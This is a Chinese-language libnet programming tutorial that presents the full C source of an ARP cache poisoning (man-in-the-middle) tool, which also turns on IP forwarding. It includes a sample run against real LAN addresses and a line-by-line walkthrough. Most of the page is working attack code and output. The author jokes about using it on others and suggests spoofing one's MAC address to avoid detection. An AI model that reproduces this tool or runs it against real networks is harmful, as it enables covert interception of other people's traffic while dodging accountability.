libnet/arpoison.c
接著就來利用libnet寫出一個arpoison攻擊。
一般情況下,電腦會發出一個ARP Request封包來詢問對應的MAC Address,目標主機確認自己是被詢問的目標就會回覆一個ARP Reply封包回應發送端。像這樣自動學習的系統最容易被攻擊,ARP本身沒有驗證的功能,所以任何人只要能夠偽造ARP Reply或ARP Request就能造成網路異常。
這個arpoison程式能夠偽造ARP封包,讓受害者兩方的封包會經過自己,並且開啟轉送封包的功能,受害者雙方只要沒有綁定網卡或是利用ARP Proxy等其他防禦方式,就會在毫無感覺的情況下被竊聽封包。
Source Code
//
// arpoison.c
// 功能:ARP攻擊兩端,並且開啟轉送封包的功能。
// Created by 聲華 陳 on 2016/02/05.
//
#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <sys/sysctl.h>
u_int8_t *mac_aton(const char *mac_address);
u_int32_t ip_aton(const char *ip_address);
void usage(const char *cmd);
void signal_handler(int sig);
void set_forward(int value);
char *mac_ntoa(u_int8_t *d);
char *ip_ntoa(u_int32_t i);
void draw_sent(u_short operation,
u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
u_int8_t *target_mac_address, u_int32_t target_ip_address);
static libnet_t *handle = NULL;
int main(int argc, const char * argv[]) {
char errbuf[LIBNET_ERRBUF_SIZE];
int c;
char device[256] = {};
u_int16_t op = ARPOP_REPLY;
u_int32_t ip_address1 = 0, ip_address2 = 0;
u_int8_t mac_address1[6] = {}, mac_address2[6] = {};
int interval = 500 * 1000; //0.5s
libnet_ptag_t arp_tag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ethernet_tag = LIBNET_PTAG_INITIALIZER;
int length;
u_int32_t sender_ip_address = 0, target_ip_address = 0;
u_int8_t *my_mac_address = NULL, *target_mac_address = NULL;
int reversed = 1;
//parse argument
opterr = 0; //don't show default error message
while((c = getopt(argc, (char * const *)argv, "i:d:t:aw:")) != EOF) {
switch (c) {
case 'i':
strlcpy(device, optarg, sizeof(device));
break;
case 'a':
op = ARPOP_REQUEST;
break;
case 'w':
interval = atoi(optarg) * 1000;
if(interval == 0) {
fprintf(stderr, "Invalid interval value: %s\n", optarg);
exit(1);
}//end if
break;
case 'd':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
ip_address1 = ip_aton(argv[optind++]);
}//end if
else if(*optarg == '2') {
ip_address2 = ip_aton(argv[optind++]);
}//end if
else {
usage(argv[0]);
}//end else
break;
case 't':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
}//end if
else if(*optarg == '2') {
memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
}//end if
else {
usage(argv[0]);
}//end else
break;
case '?':
case 'h':
default:
usage(argv[0]);
break;
}//end switch
if(optind > argc) {
usage(argv[0]);
}//end if
}//end while
//check value
if(!strcmp(device, "") ||
ip_address1 == 0 || ip_address2 == 0) {
usage(argv[0]);
}//end if
if(op == ARPOP_REPLY && (!strcmp((char *)mac_address1, "") || !strcmp((char *)mac_address2, ""))) {
usage(argv[0]);
}//end if
//set signal handler
if(signal(SIGINT, signal_handler) == SIG_ERR) {
fprintf(stderr, "signal: %s\n", strerror(errno));
exit(1);
}//end if
//forward enable
set_forward(1);
//init
handle = libnet_init(LIBNET_LINK, device, errbuf);
if(!handle) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
exit(1);
}//end if
//get my mac address
my_mac_address = (u_int8_t *)libnet_get_hwaddr(handle);
if(!my_mac_address) {
fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(handle));
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(1);
}//end if
while(1) {
if(reversed) {
sender_ip_address = ip_address2;
target_ip_address = ip_address1;
target_mac_address = mac_address1;
}//end if
else {
sender_ip_address = ip_address1;
target_ip_address = ip_address2;
target_mac_address = mac_address2;
}//end else
reversed = !reversed;
if(op == ARPOP_REPLY) {
arp_tag = libnet_build_arp(ARPHRD_ETHER,
//hardware type, 1
ETHERTYPE_IP,
//protocol type, 0x0800
ETHER_ADDR_LEN,
//hardware length, 6
4,
//protocol length
op,
//arp operation
(const u_int8_t *)my_mac_address,
//source hardware address, my mac address
(const u_int8_t *)&sender_ip_address,
//source protocol address
(const u_int8_t *)target_mac_address,
//target hardware address
(u_int8_t *)&target_ip_address,
//target protocol address
NULL,
0,
handle,
arp_tag);
if(arp_tag == -1) {
fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
break;
}//end if
ethernet_tag = libnet_build_ethernet((const u_int8_t *)target_mac_address,
(const u_int8_t *)my_mac_address,
ETHERTYPE_ARP,
NULL,
0,
handle,
ethernet_tag);
if(ethernet_tag == -1) {
fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
else {
arp_tag = libnet_build_arp(ARPHRD_ETHER,
//hardware type, 1
ETHERTYPE_IP,
//protocol type, 0x0800
ETHER_ADDR_LEN,
//hardware length, 6
4,
//protocol length
op,
//arp operation
(const u_int8_t *)my_mac_address,
//source hardware address, my mac address
(const u_int8_t *)&sender_ip_address,
//source protocol address
(const u_int8_t *)mac_aton("00:00:00:00:00:00"),
//target hardware address
(u_int8_t *)&target_ip_address,
//target protocol address
NULL,
0,
handle,
arp_tag);
if(arp_tag == -1) {
fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
break;
}//end if
if(ethernet_tag == LIBNET_PTAG_INITIALIZER) {
ethernet_tag = libnet_build_ethernet(mac_aton("ff:ff:ff:ff:ff:ff"),
(const u_int8_t *)my_mac_address,
ETHERTYPE_ARP,
NULL,
0,
handle,
ethernet_tag);
if(ethernet_tag == -1) {
fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
}//end else
length = libnet_write(handle);
if(length == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
break;
}//end if
else {
printf("Sent:\n");
if(op == ARPOP_REPLY) {
draw_sent(op,
my_mac_address, sender_ip_address,
target_mac_address, target_ip_address);
}//end if
else {
draw_sent(op,
my_mac_address, sender_ip_address,
mac_aton("00:00:00:00:00:00"), target_ip_address);
}
printf("\n");
}//end else
usleep(interval);
}//end while
//forward disable
set_forward(0);
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
return 0;
}
u_int8_t *mac_aton(const char *mac_address) {
#define FUNCTION_BUFFER 256
static u_char buffer[FUNCTION_BUFFER][ETHER_ADDR_LEN];
static int which = -1;
u_char *temp = NULL;
int len;
which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);
memset(buffer[which], 0, sizeof(buffer[which]));
temp = libnet_hex_aton(mac_address, &len);
if(!temp) {
fprintf(stderr, "libnet_hex_aton: %s?\n", mac_address);
exit(1);
}//end if
//length is not 6
if(len != ETHER_ADDR_LEN) {
free(temp);
fprintf(stderr, "libnet_hex_aton: %s, invalid length: %d\n", mac_address, len);
exit(1);
}//end if
memcpy(buffer[which], temp, sizeof(buffer[which]));
free(temp);
return buffer[which];
}//mac_aton
void usage(const char *cmd) {
printf("Usage: %s -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]\n", cmd);
exit(1);
}//end usage
void signal_handler(int sig) {
//forward disable
set_forward(0);
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(0);
}//end signal_function
char *mac_ntoa(u_int8_t *d) {
#define MAC_ADDRSTRLEN 2*6+5+1
static char str[MAC_ADDRSTRLEN];
snprintf(str, sizeof(str), "%02x:%02x:%02x:%02x:%02x:%02x", d[0], d[1], d[2], d[3], d[4], d[5]);
return str;
}//end mac_ntoa
char *ip_ntoa(u_int32_t i) {
static char str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &i, str, sizeof(str));
return str;
}//end ip_ntoa
u_int32_t ip_aton(const char *ip_address) {
u_int32_t ip_integer;
if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
fprintf(stderr, "Invalid IP address: %s\n", ip_address);
exit(1);
}//end if
return ip_integer;
}//end if
void set_forward(int value) {
if(value != 0 && value != 1) {
fprintf(stderr, "sysctlbyname: value should be 1 or 0\n");
exit(1);
}//end if
//set value on net.inet.ip.forwarding
if(sysctlbyname("net.inet.ip.forwarding", NULL, NULL, &value, sizeof(value)) == -1) {
fprintf(stderr, "sysctlbyname: %s\n", strerror(errno));
exit(1);
}//end if
}//end set_forward
void draw_sent(u_short operation,
u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
u_int8_t *target_mac_address, u_int32_t target_ip_address) {
static char *arp_op_name[] = {
"Undefine",
"(ARP Request)",
"(ARP Reply)"
};
if(operation < 0 || sizeof(arp_op_name)/sizeof(arp_op_name[0]) < operation)
operation = 0;
printf("+---------------------------------------------------+\n");
printf("| Operation: %4d%14s|\n", operation, arp_op_name[operation]);
printf("+---------------------------------------------------+\n");
printf("| Source MAC Address: %17s|\n", mac_ntoa(sender_mac_address));
printf("+---------------------------------------------------+\n");
printf("| Source IP Address: %15s|\n", ip_ntoa(sender_ip_address));
printf("+---------------------------------------------------+\n");
printf("| Destination MAC Address: %17s|\n", mac_ntoa(target_mac_address));
printf("+---------------------------------------------------+\n");
printf("| Destination IP Address: %15s|\n", ip_ntoa(target_ip_address));
printf("+---------------------------------------------------+\n");
}//end draw_sent
結果
libnet % ./arpoison
Usage: ./arpoison -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]
libnet % sudo ./arpoison -i en0 -d1 192.168.1.1 -t1 f8:1a:67:53:f5:dc -d2 192.168.1.101 -t2 d8:bb:2c:cc:16:ab
Sent:
+---------------------------------------------------+
| Operation: 2 (ARP Reply)|
+---------------------------------------------------+
| Source MAC Address: 6c:40:08:bc:ae:98|
+---------------------------------------------------+
| Source IP Address: 192.168.1.101|
+---------------------------------------------------+
| Destination MAC Address: f8:1a:67:53:f5:dc|
+---------------------------------------------------+
| Destination IP Address: 192.168.1.1|
+---------------------------------------------------+
Sent:
+---------------------------------------------------+
| Operation: 2 (ARP Reply)|
+---------------------------------------------------+
| Source MAC Address: 6c:40:08:bc:ae:98|
+---------------------------------------------------+
| Source IP Address: 192.168.1.1|
+---------------------------------------------------+
| Destination MAC Address: d8:bb:2c:cc:16:ab|
+---------------------------------------------------+
| Destination IP Address: 192.168.1.101|
+---------------------------------------------------+
...略
在其中一個受害者端ARP table內的192.168.1.101卡號已經與192.168.1.100相同,所以要送往192.168.1.101的封包會送給192.168.1.100。
參數
-i Interface #選擇從哪個interface送出
-d1 Target 1 IP Address #目標1的IP Address
-t1 Target 1 MAC Address #目標1的MAC Address
-d2 Target 2 IP Address #目標2的IP Address
-t2 Target 2 MAC Address #目標2的MAC Address
-a #使用ARP Request方式送出封包
-w #每個封包間隔,單位毫秒,預設500毫秒
分析
這是第一個具有攻擊行為的程式,如果隨便拿去攻擊別人被抓走不關我的事喔。
首先在開始之前我們先來講ARP原理,當主機A和主機B在同一個區域網路下並且已經被分配到IP Address後想要互相溝通,但是在Ethernet層無法填入對方的MAC Address,所以這時候就會使用ARP來詢問對方MAC Address。
一開始主機A會發出一個ARP Request廣播封包,詢問主機B的MAC Address,在這ARP Request封包內包含了主機A的IP Address和MAC Address,因為是廣播所以所有主機都會收到這封包,不管是不是被詢問的對象,都會將主機A的資訊記錄下來,接著主機B確認自己是被詢問的目標後,會回覆一個ARP Reply封包給主機A,這封包內就有了主機B的MAC Address,主機A收到封包後就可以取得主機B的MAC Address。
ARP是屬於簡單、自動學習且無驗證的協定,像這樣的協定最容易被攻擊。根據ARP的運作方式很明顯ARP Request的攻擊範圍最廣,整個區域網路都會受影響,不過一般arpoison是使用ARP Reply來攻擊特定目標。
接著來分析ARP Reply和ARP Request封包,先來看看正常情況下的ARP Reply封包: 因為我們要用ARP Reply方式修改兩方的ARP Table,必須要知道雙方的MAC Address和IP Address以及自己的MAC Address,共有五個參數需要。
那麼正常情況的ARP Request封包: ARP Request封包因為是要詢問對方MAC Address,所以只需要三個參數:目標1的IP Address、目標2的IP Address和自己的MAC Address。
那麼來開始寫程式吧。
u_int8_t *mac_aton(const char *mac_address);
u_int32_t ip_aton(const char *ip_address);
void usage(const char *cmd);
void signal_handler(int sig);
void set_forward(int value);
char *mac_ntoa(u_int8_t *d);
char *ip_ntoa(u_int32_t i);
void draw_sent(u_short operation,
u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
u_int8_t *target_mac_address, u_int32_t target_ip_address);
static libnet_t *handle = NULL;
函數和全域變數宣告有這些:函數mac_aton()
是將字串MAC Address轉成網路封包能用的格式;函數ip_aton()
是將字串的IP Address轉成網路順序地址;函數usage()
用來顯示該程式的用法;函數signal_handler()
用來處理當按下Ctrl+C
時的狀況;函數set_forward()
是用來開關封包轉送功能;函數mac_ntoa()
和ip_ntoa()
前面也常用到,將網路資料格式的MAC Address或IP Address轉成字串;函數draw_sent()
用來畫出送出的ARP封包部分欄位;變數handle
是一個libnet的handle。
void usage(const char *cmd) {
printf("Usage: %s -i <Interface> -d1 <Target 1 IP Address> -t1 <Target 1 MAC Address> -d2 <Target 2 IP Address> -t2 <Target 2 MAC Address> [-a] [-w Interval ms]\n", cmd);
exit(1);
}//end usage
先來看看函數usage()
,該程式需要讀入Interface、目標1的IP Address、MAC Address和目標2的IP Address、MAC Address,a
和w
選項是可有可無的,列印完使用方式後就直接結束程式。
//parse argument
opterr = 0; //don't show default error message
while((c = getopt(argc, (char * const *)argv, "i:d:t:aw:")) != EOF) {
switch (c) {
case 'i':
strlcpy(device, optarg, sizeof(device));
break;
case 'a':
op = ARPOP_REQUEST;
break;
case 'w':
interval = atoi(optarg) * 1000;
if(interval == 0) {
fprintf(stderr, "Invalid interval value: %s\n", optarg);
exit(1);
}//end if
break;
case 'd':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
ip_address1 = ip_aton(argv[optind++]);
}//end if
else if(*optarg == '2') {
ip_address2 = ip_aton(argv[optind++]);
}//end if
else {
usage(argv[0]);
}//end else
break;
case 't':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
}//end if
else if(*optarg == '2') {
memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
}//end if
else {
usage(argv[0]);
}//end else
break;
case '?':
case 'h':
default:
usage(argv[0]);
break;
}//end switch
if(optind > argc) {
usage(argv[0]);
}//end if
}//end while
//check value
if(!strcmp(device, "") ||
ip_address1 == 0 || ip_address2 == 0) {
usage(argv[0]);
}//end if
if(op == ARPOP_REPLY && (!mac_address1 || !mac_address2)) {
usage(argv[0]);
}//end if
首先來解析讀入的參數,函數getopt()
用來解析參數列,第三個參數使用"i:d:t:aw:"
,除了選項a
以外每個選項後面跟著一個:
,表示其他選項後面必須跟著一個參數。
...略
case 'i':
strlcpy(device, optarg, sizeof(device));
break;
...略
`
當選項為i
的時候,變數optarg
指向選項i
後面的參數,在這裡是Interface,所以就複製出來。
...略
case 'a':
op = ARPOP_REQUEST;
break;
...略
當選項為a
時,表示要用ARP Request方式,後面沒有需要參數。
...略
case 'w':
interval = atoi(optarg) * 1000;
if(interval == 0) {
fprintf(stderr, "Invalid interval value: %s\n", optarg);
exit(1);
}//end if
break;
...略
選項為w
時,表示封包發送間隔時間,單位毫秒,利用函數atoi()
將指向參數的變數optarg
轉成整數,因為後面使用的產生時間間隔函數單位為微秒,所以要乘以1000。
...略
case 'd':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
ip_address1 = ip_aton(argv[optind++]);
}//end if
else if(*optarg == '2') {
ip_address2 = ip_aton(argv[optind++]);
}//end if
else {
usage(argv[0]);
}//end else
break;
case 't':
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
if(*optarg == '1') {
memcpy(mac_address1, mac_aton(argv[optind++]), sizeof(mac_address1));
}//end if
else if(*optarg == '2') {
memcpy(mac_address2, mac_aton(argv[optind++]), sizeof(mac_address2));
}//end if
else {
usage(argv[0]);
}//end else
break;
...略
選項d
和t
格式相同,所以一起講。我們讀入目標1的IP Address的方式為-d1 192.168.1.1
,使用-d
後面緊接著一個1
,所以讀取方式不太一樣。
...略
if(optind + 1 > argc) {
usage(argv[0]);
}//end if
...略
變數optind
表示目前要處理的參數的Index,變數argv
陣列的Index範圍為0
到argc-1
,以防萬一參數只傳入-d1
忘記給IP Address而Index越界造成程式直接不正常結束,所以加上這個if
判斷是否越界了。因為我們有直接操作到變數optind
所以要加上這個判斷。
...略
if(*optarg == '1') {
ip_address1 = ip_aton(argv[optind++]);
}//end if
else if(*optarg == '2') {
ip_address2 = ip_aton(argv[optind++]);
}//end if
else {
usage(argv[0]);
}//end else
break;
...略
一樣變數optarg
指向選項後面的參數,在這裡必須不是1
就是2
,確定是目標1或2後,直接使用變數optind
取得接下來的參數,然後IP Address就用函數ip_aton()
轉換成網路順序地址格式,MAC Address就用函數mac_aton()
轉換,這邊要記得,我們的函數mac_aton()
有buffer問題,所以要用函數memcpy()
複製出來。取得參數後記得要將變數optind
遞增讓它指向下一個選項或參數。
函數
mac_aton()
的buffer問題一樣在Return a String已經解釋過了呦。
...略
case '?':
case 'h':
default:
usage(argv[0]);
break;
...略
當選項讀到h
或其他時,就直接呼叫函數usage()
結束程式,其他不在函數getopt()
第三個參數的選項都會被當成?
。
...略
if(optind > argc) {
usage(argv[0]);
}//end if
...略
因為我們有直接使用到變數optind
所以都要檢查這個變數是否越界。如果沒有使用到變數optind
,就可以不用檢查了。
//check value
if(!strcmp(device, "") ||
ip_address1 == 0 || ip_address2 == 0) {
usage(argv[0]);
}//end if
if(op == ARPOP_REPLY && (!strcmp((char *)mac_address1, "") || !strcmp((char *)mac_address2, ""))) {
usage(argv[0]);
}//end if
接著就當然來檢查是否有讀到參數,第一個if
判斷Interface和兩個目標的IP Address,只要判斷變數是否還是跟初始值一樣,就表示沒有讀到參數。
第二個if
是當選擇ARP Reply方式時候,就要多檢查兩個目標的MAC Address是否有讀到參數。
//set signal handler
if(signal(SIGINT, signal_handler) == SIG_ERR) {
fprintf(stderr, "signal: %s\n", strerror(errno));
exit(1);
}//end if
因為我們的程式設計上是一個無窮迴圈,所以停止方法只有輸入Ctrl+C
,使用函數signal()
來註冊一個函數,當程式收到Ctrl+C
的訊號時候,就會呼叫該函數,而這函數為signal_handler()
,第一個參數就是要監聽的訊號,在這邊是Ctrl+C
。
//forward enable
set_forward(1);
然後我們打開封包轉送的功能。
這邊先來講函數set_forward()
和函數signal_handler()
。
void set_forward(int value) {
if(value != 0 && value != 1) {
fprintf(stderr, "sysctlbyname: value should be 1 or 0\n");
exit(1);
}//end if
//set value on net.inet.ip.forwarding
if(sysctlbyname("net.inet.ip.forwarding", NULL, NULL, &value, sizeof(value)) == -1) {
fprintf(stderr, "sysctlbyname: %s\n", strerror(errno));
exit(1);
}//end if
}//end set_forward
幾乎每個Linux/Unix/BSD核心的系統都有封包轉送的功能,而在MAC OS X上封包轉送是net.inet.ip.forwarding
,可以使用指令sysctl
來看目前的狀態。
~ % sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0
預設沒有開啟,可以用w
選項來設定數值。
~ % sudo sysctl -w net.inet.ip.forwarding=1
net.inet.ip.forwarding: 0 -> 1
指令上可以這樣修改數值,如果我們在知道整個完整的階層名稱,就可以使用函數sysctlbyname()
來修改數值。
void signal_handler(int sig) {
//forward disable
set_forward(0);
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(0);
}//end signal_function
當收到Ctrl+C
訊號時候就會呼叫該函數,第一步就是要關閉封包轉送,第二步就是要釋放libnet的handle,因為我們將變數宣告成全域變數,所以當釋放後必須要將變數handle
指向NULL。
在物件導向語言(OOP)中,很多變數某種意義上是全域的,所以當釋放後必須指向NULL,以防重複釋放造成程式不正常結束。
//init
handle = libnet_init(LIBNET_LINK, device, errbuf);
if(!handle) {
fprintf(stderr, "libnet_init: %s\n", errbuf);
exit(1);
}//end if
接著終於是libnet的部分了,先呼叫函數libnet_init()
初始化出一個libnet handle來使用,一樣記得我們要寫ARP封包,所以第一個參數為LIBNET_LINK
。
//get my mac address
my_mac_address = (u_int8_t *)libnet_get_hwaddr(handle);
if(!my_mac_address) {
fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(handle));
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
exit(1);
}//end if
使用函數libnet_get_hwaddr()
來取得自己的MAC Address,當然囉,要騙人家將封包送給我們,當然要有自己的MAC Address。
while(1) {
if(reversed) {
sender_ip_address = ip_address2;
target_ip_address = ip_address1;
target_mac_address = mac_address1;
}//end if
else {
sender_ip_address = ip_address1;
target_ip_address = ip_address2;
target_mac_address = mac_address2;
}//end else
reversed = !reversed;
...略
接著進入寫送封包的迴圈,我們用變數sender_ip_address
、target_ip_address
以及target_mac_address
來表示目前要填入的參數,至於沒有sender_mac_address是因為那就是要填入自己的MAC Address囉。變數reversed
用來在每次迴圈都可以在true
和false
互換。
第一次在寫arpoison的程式時我一直搞混sender和target的IP Address和MAC Address,所以這裡直接用變數指向要使用的參數,這樣就不容易搞混了。
...略
if(op == ARPOP_REPLY) {
arp_tag = libnet_build_arp(ARPHRD_ETHER,
//hardware type, 1
ETHERTYPE_IP,
//protocol type, 0x0800
ETHER_ADDR_LEN,
//hardware length, 6
4,
//protocol length
op,
//arp operation
(const u_int8_t *)my_mac_address,
//source hardware address, my mac address
(const u_int8_t *)&sender_ip_address,
//source protocol address
(const u_int8_t *)target_mac_address,
//target hardware address
(u_int8_t *)&target_ip_address,
//target protocol address
NULL,
0,
handle,
arp_tag);
if(arp_tag == -1) {
fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
break;
}//end if
ethernet_tag = libnet_build_ethernet((const u_int8_t *)target_mac_address,
(const u_int8_t *)my_mac_address,
ETHERTYPE_ARP,
NULL,
0,
handle,
ethernet_tag);
if(ethernet_tag == -1) {
fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
else {
...略
這邊就要依照ARP Reply和ARP Request分開建構封包,變數arp_tag
和變數ethernet_tag
用來記錄封包的tag,初始值皆是LIBNET_PTAG_INITIALIZER
,所以在第一次迴圈會建立新的表頭,其他次迴圈會修改第一次迴圈的表頭,這樣就不用重複釋放空間又初始化一個libnet handle出來了。
這邊會注意的說為何Ethernet層的Source MAC Address要填自己的MAC Address,我們回頭想整個網路分層的概念,Ethernet層解析完封包如果下一層協定是ARP,就把接下來的封包丟給負責ARP的程序(Process)處理,所以Ethernet層填入什麼並不影響ARP的結果,但是這樣還是沒回答到問題。
在一般接線的Ethernet網路中,Data-link層被分成兩個子層:LLC(Logical Link Control)和MAC(Media Access Control),LLC有:Destination Service Access Point、Source Service Access Point和Control,共3或4 bytes;MAC就是我們寫封包時填入的Destination MAC Address、Source MAC Address和Type的14 bytes部分。填完這一整個封包,剩下對齊用的表頭和表尾(trailer)CRC檢查碼NIC自動填入後就可以送出了,並沒有什麼太大問題(現代Ethernet網路幾乎沒有LLC這部分了)。
有興趣可以去搜尋「IEEE 802.3」。
但是現在主要是無線區域網路(WLAN),我們雖然看見的封包跟Ethernet一樣有14 bytes的表頭,但實際上在送出的時候,NIC會將Ethernet的封包轉成IEEE 802.11的封包,而轉換過程要填入自己的MAC Address,接收封包的時候一樣要將IEEE 802.11封包轉成Ethernet,問題就在於轉換時要填入自己的MAC Address,如果我們的Source MAC Address填入非自己的MAC Address,轉換過程中會有問題,即使能送出,目的端收到後轉換也不見得會成功,這就是為何Source MAC Address要填入自己的MAC Address原因。
可以使用指令
ifconfig
修改自己的MAC Address,這樣轉換封包的時候就可以正常,雖然很麻煩,但是就更不容易被抓到。
再回到前面所說的網路分層的概念,填入自己的MAC Address不只封包轉換正常,結果也會正確,但是相對的很容易就被抓到了。
無線網路可以搜尋「IEEE 802.11b」。
...略
else {
arp_tag = libnet_build_arp(ARPHRD_ETHER,
//hardware type, 1
ETHERTYPE_IP,
//protocol type, 0x0800
ETHER_ADDR_LEN,
//hardware length, 6
4,
//protocol length
op,
//arp operation
(const u_int8_t *)my_mac_address,
//source hardware address, my mac address
(const u_int8_t *)&sender_ip_address,
//source protocol address
(const u_int8_t *)mac_aton("00:00:00:00:00:00"),
//target hardware address
(u_int8_t *)&target_ip_address,
//target protocol address
NULL,
0,
handle,
arp_tag);
if(arp_tag == -1) {
fprintf(stderr, "libnet_build_arp: %s\n", libnet_geterror(handle));
break;
}//end if
if(ethernet_tag == LIBNET_PTAG_INITIALIZER) {
ethernet_tag = libnet_build_ethernet(mac_aton("ff:ff:ff:ff:ff:ff"),
(const u_int8_t *)my_mac_address,
ETHERTYPE_ARP,
NULL,
0,
handle,
ethernet_tag);
if(ethernet_tag == -1) {
fprintf(stderr, "libnet_build_ethernet: %s\n", libnet_geterror(handle));
break;
}//end if
}//end if
}//end else
...略
而ARP Request的封包,Target MAC Address部分因為不知道,所以要填入00:00:00:00:00:00
,Ethernet的Destination MAC Addreess則是廣播ff:ff:ff:ff:ff:ff
。
length = libnet_write(handle);
if(length == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
break;
}//end if
else {
printf("Sent:\n");
if(op == ARPOP_REPLY) {
draw_sent(op,
my_mac_address, sender_ip_address,
target_mac_address, target_ip_address);
}//end if
else {
draw_sent(op,
my_mac_address, sender_ip_address,
mac_aton("00:00:00:00:00:00"), target_ip_address);
}
printf("\n");
}//end else
usleep(interval);
}//end while
完成封包填寫就就呼叫函數libnet_write()
來送出封包,當成功送出封包後就呼叫draw_sent()
來畫出部分ARP封包。這邊記得一定要使用一種送出時間的間隔函數,我們使用函數usleep()
讓他暫停一下,否則無窮迴圈速度太快,會造成網路阻塞,函數usleep()
單位奈秒。
//forward disable
set_forward(0);
//free
if(handle) {
libnet_destroy(handle);
handle = NULL;
}//end if
接著部分在正常情況下當然不會執行到,可是一定要處理好所有狀況,這才是一個健全的好程式,在結束前先關掉封包轉送,接著釋放資源。
u_int8_t *mac_aton(const char *mac_address) {
#define FUNCTION_BUFFER 256
static u_char buffer[FUNCTION_BUFFER][ETHER_ADDR_LEN];
static int which = -1;
u_char *temp = NULL;
int len;
which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);
memset(buffer[which], 0, sizeof(buffer[which]));
temp = libnet_hex_aton(mac_address, &len);
if(!temp) {
fprintf(stderr, "libnet_hex_aton: %s?\n", mac_address);
exit(1);
}//end if
//length is not 6
if(len != ETHER_ADDR_LEN) {
free(temp);
fprintf(stderr, "libnet_hex_aton: %s, invalid length: %d\n", mac_address, len);
exit(1);
}//end if
memcpy(buffer[which], temp, sizeof(buffer[which]));
free(temp);
return buffer[which];
}//mac_aton
函數mac_aton()
用來將字串格式的MAC Address轉成網路可用的格式,這邊搭配函數libnet_hex_aton()
來撰寫。
u_int32_t ip_aton(const char *ip_address) {
u_int32_t ip_integer;
if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
fprintf(stderr, "Invalid IP address: %s\n", ip_address);
exit(1);
}//end if
return ip_integer;
}//end if
函數ip_aton()
用來將字串的IP Address轉成網路順序格式,直接使用函數inet_pton()
轉換,因為IPv4的地址本質只是一個unsigned的32位元int,所以並不需要使用buffer。
void draw_sent(u_short operation,
u_int8_t *sender_mac_address, u_int32_t sender_ip_address,
u_int8_t *target_mac_address, u_int32_t target_ip_address) {
static char *arp_op_name[] = {
"Undefine",
"(ARP Request)",
"(ARP Reply)"
};
if(operation < 0 || sizeof(arp_op_name)/sizeof(arp_op_name[0]) < operation)
operation = 0;
printf("+---------------------------------------------------+\n");
printf("| Operation: %4d%14s|\n", operation, arp_op_name[operation]);
printf("+---------------------------------------------------+\n");
printf("| Source MAC Address: %17s|\n", mac_ntoa(sender_mac_address));
printf("+---------------------------------------------------+\n");
printf("| Source IP Address: %15s|\n", ip_ntoa(sender_ip_address));
printf("+---------------------------------------------------+\n");
printf("| Destination MAC Address: %17s|\n", mac_ntoa(target_mac_address));
printf("+---------------------------------------------------+\n");
printf("| Destination IP Address: %15s|\n", ip_ntoa(target_ip_address));
printf("+---------------------------------------------------+\n");
}//end draw_sent
函數draw_sent()
改寫libpcap/dump_arp.c的函數dump_arp()
,我們畫出部分的ARP封包就好。
剩下的函數ip_ntoa()
和函數mac_ntoa()
已經在libpcap篇使用過不少次了,所以就不再解釋了。
結語
libnet簡單的就可以寫出一個封包層級的攻擊方式,這個程式每一輪會送出兩個封包,libnet其實有提供更好的方式能夠連續建構封包,後面會再解釋使用。
該程式用了不少寫程式的技巧跟需要了解很多核心跟網路的知識,所以就好好加油看懂它囉。